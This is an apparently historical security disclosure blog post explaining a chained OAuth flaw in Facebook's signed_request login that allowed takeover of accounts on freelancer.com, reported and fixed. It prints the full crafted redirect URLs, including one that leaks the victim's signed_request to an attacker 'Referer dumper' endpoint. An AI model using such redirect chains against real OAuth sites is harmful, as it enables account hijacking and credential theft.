Introduction: what's OAuth and so forth
I'll describe here several flaws in Facebook's authentication with OAuth and how I was able to exploit them for getting access to victim's account on a site, which uses Facebook authentication. Facebook security team quickly responded and rolled out a fix for this issue shortly after I had reported it.
In a nutshell,
OAuth2 describes how a Resource Owner (user), Authorization Server (Facebook), Resource Server (Facebook too) and Client (third-party site) interact with each other. An Implicit Flow is used for just authorizing a Client to access some of Resource Owner's data, while a more secure Explicit Flow is applied for authenticating Resource Owner on a Client with Authorization Server. The process of signing in with Facebook is simple: after user clicks on "log in with Facebook" button, he eventually goes to the authorization endpoint:
http://www.facebook.com/dialog/permissions.request?
client_id=CLIENT_ID
&redirect_uri=CLIENT_CALLBACK_URI
&response_type=TOKEN_or_CODE_or_SIGNED_REQUEST
&SOME_OTHER_STUFF
And then directed back to CLIENT_CALLBACK_URI with a TOKEN value in a Fragment (Implicit Flow) or CODE value in parameters (Explicit Flow). In Explicit Flow, Client then exchange code for access_token in backend:
https://graph.facebook.com/oauth/access_token?
client_id=CLIENT_ID
&redirect_uri=CLIENT_CALLBACK_URI
&client_secret=CLIENT_SECRET
&code=CODE
... and authenticates the user. Authorization Server will stop authentication (won't give the token) if CLIENT_CALLBACK_URI is not the same (malicious uri or just XSS-vulnerable page, other than the correct callback). There are also
issues with a special state parameter, which should protect from CSRF bugs, but it's out of my scope today.
Hey, what is that thrid option in response_type:
signed_request?
That's how Facebook provides a special transport to carry both flows:
When you receive a signed_request string, it can be verified using your App Secret to ensure the request was sent by Facebook and not a third party. Parsing the signed_request will yield a JSON object containing some data.
...
A signed_request is simply a data transfer mechanism and does not imply any defined structure or format of data carried in the request.
Having a
signed access_token with other data, Client is now able to verify that this object is genuine and was indeed sent by Facebook. Despite the fact that it improved an Implicit Flow (sign
client_id +
access token together — and you get rid of
One access_token To Rule Them All vulnerability), an Explicit Flow became shamelessly insecure. Signed_request is even transmitted in a
Fragment part, pretending to be protected from leaking with a Referer/MiTM as much as possible, but that was absolutely not a problem.
The exploit: so, where was that bug in?
I took several problems with authorization and put them in a chain:
- FB authorization endpoint accepts as redirect_uri not only client-registered Redirection Endpoints but also lots of links within the facebook.com domain (Nice)
- FB authorization endpoint also carefully processes redirect_uri's containing URL Fragment part (Again nice)
- FB does not check the redirect_uri at all, when exchanging code for token (One more time nice)
- FB does not bind codes/tokens to ip addresses (Why, guys, why? Nice as well)
- FB has a hash-bang feature (You should have got the whole idea by the time of reading this line)
It was enough for a victim to click my link and to authorize my Facebook app — and I could immediately sign into his account on Client. I picked up the first site —
freelancer.com, which used signed_request, and constructed the following link:
http://www.facebook.com/dialog/permissions.request?app_id=12013111806
1981&redirect_uri=http%3A%2F%2Fwww.facebook.com%2F%23!%2Ftest%23!%2Fd
ialog%2Foauth%3Fclient_id%3D256157661061452%26redirect_uri%3Dhttps%3A
%2F%2Ftouchdevelop.accesscontrol.windows.net%2Fv2%2Ffacebook%3Fevil_r
eferref_dumper%26scope%3D%26display%3Dpopup&sdk=joey&display=&respons
e_type=signed_request&domain=www.freelancer.com&perms=offline_access%
2Cuser_education_history%2Cuser_location%2Cuser_hometown%2Cuser_websi
te%2Cuser_work_history%2Cemail%2Cpublish_stream%2Cuser_birthday&fbcon
nect=0&from_login=1&client_id=120131118061981&rcount=1
User clicks the link, FB then issues a valid signed_request containing code, and user is redirected to:
http://www.facebook.com/?%21%2Ftest#!/dialog/oauth?client_id=25615766
1061452&redirect_uri=https://touchdevelop.accesscontrol.windows.net/v
2/facebook?evil_referref_dumper&scope=&display=popup&signed_request=l
rcDa9tC8lDFm8askLCxaRo44RY0ZvimzmSw4-J_1lk.eyJhbGdvcml0aG0iOiJITUFDLV
NIQTI1NiIsImNvZGUiOiJBUURzNjdZQVR4TUlCUHM5eFFSWjJPWmtBYkthSGlSdXdMc1h
LaTRBYk5xOHluRmt3YWxwM0RwZVpCV1ZjSjF2NV91cC1lUE41dWlWYWNmMC1Gem13NkZk
WExJT2JUb2dpQ1V0SUJyV1NrRUZEdlpBTkZFLVcyTm9Dc1dfZ2RzMnNGaV9ubE0zVWsxM
3NTNkt0OUg2ZmVacVNoN1RUMmFHajNOd09odzlxVU1EN01kdFZnc0VULXkzUnRIdjE2Rm
o3V1UiLCJpc3N1ZWRfYXQiOjEzNDAyNjQwNjMsInVzZXJfaWQiOiIxMDAwMDM3NTk3Njk
4NDQifQ&base_domain=freelancer.com
I had to play around with encoding and filtering rules for some time: that strange
?%21%2Ftest is used just to bypass those rules. I would prefer to call this step the
Fragment Pull Stage, since user is then redirected to:
http://www.facebook.com/dialog/oauth?client_id=256157661061452&redire
ct_uri=https://touchdevelop.accesscontrol.windows.net/v2/facebook?evi
l_referref_dumper&scope=&display=popup&signed_request=lrcDa9tC8lDFm8a
skLCxaRo44RY0ZvimzmSw4-J_1lk.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImNv
ZGUiOiJBUURzNjdZQVR4TUlCUHM5eFFSWjJPWmtBYkthSGlSdXdMc1hLaTRBYk5xOHluR
mt3YWxwM0RwZVpCV1ZjSjF2NV91cC1lUE41dWlWYWNmMC1Gem13NkZkWExJT2JUb2dpQ1
V0SUJyV1NrRUZEdlpBTkZFLVcyTm9Dc1dfZ2RzMnNGaV9ubE0zVWsxM3NTNkt0OUg2ZmV
acVNoN1RUMmFHajNOd09odzlxVU1EN01kdFZnc0VULXkzUnRIdjE2Rmo3V1UiLCJpc3N1
ZWRfYXQiOjEzNDAyNjQwNjMsInVzZXJfaWQiOiIxMDAwMDM3NTk3Njk4NDQifQ&base_d
omain=freelancer.com
Now I need a user to go to some controlled url — and it's time for
Referer Fixation Stage! At this moment user observes a harmless authorization request by my pretty nice FB app (sorry,
@tau_phoenix/
@touchdevelop and thank you, it's just for a photo), carrying a signed_request for me.
Would you authorize yet another app/game? What can go wrong if the app gets only your basic info?
If you click and go to
evil_referref_dumper, I will own your signed_request from the Referer, extract the code, submit it to freelancer.com — and I'm in.
Egor Homakov (
@homakov) & Andrey Labunets (
@isciurus)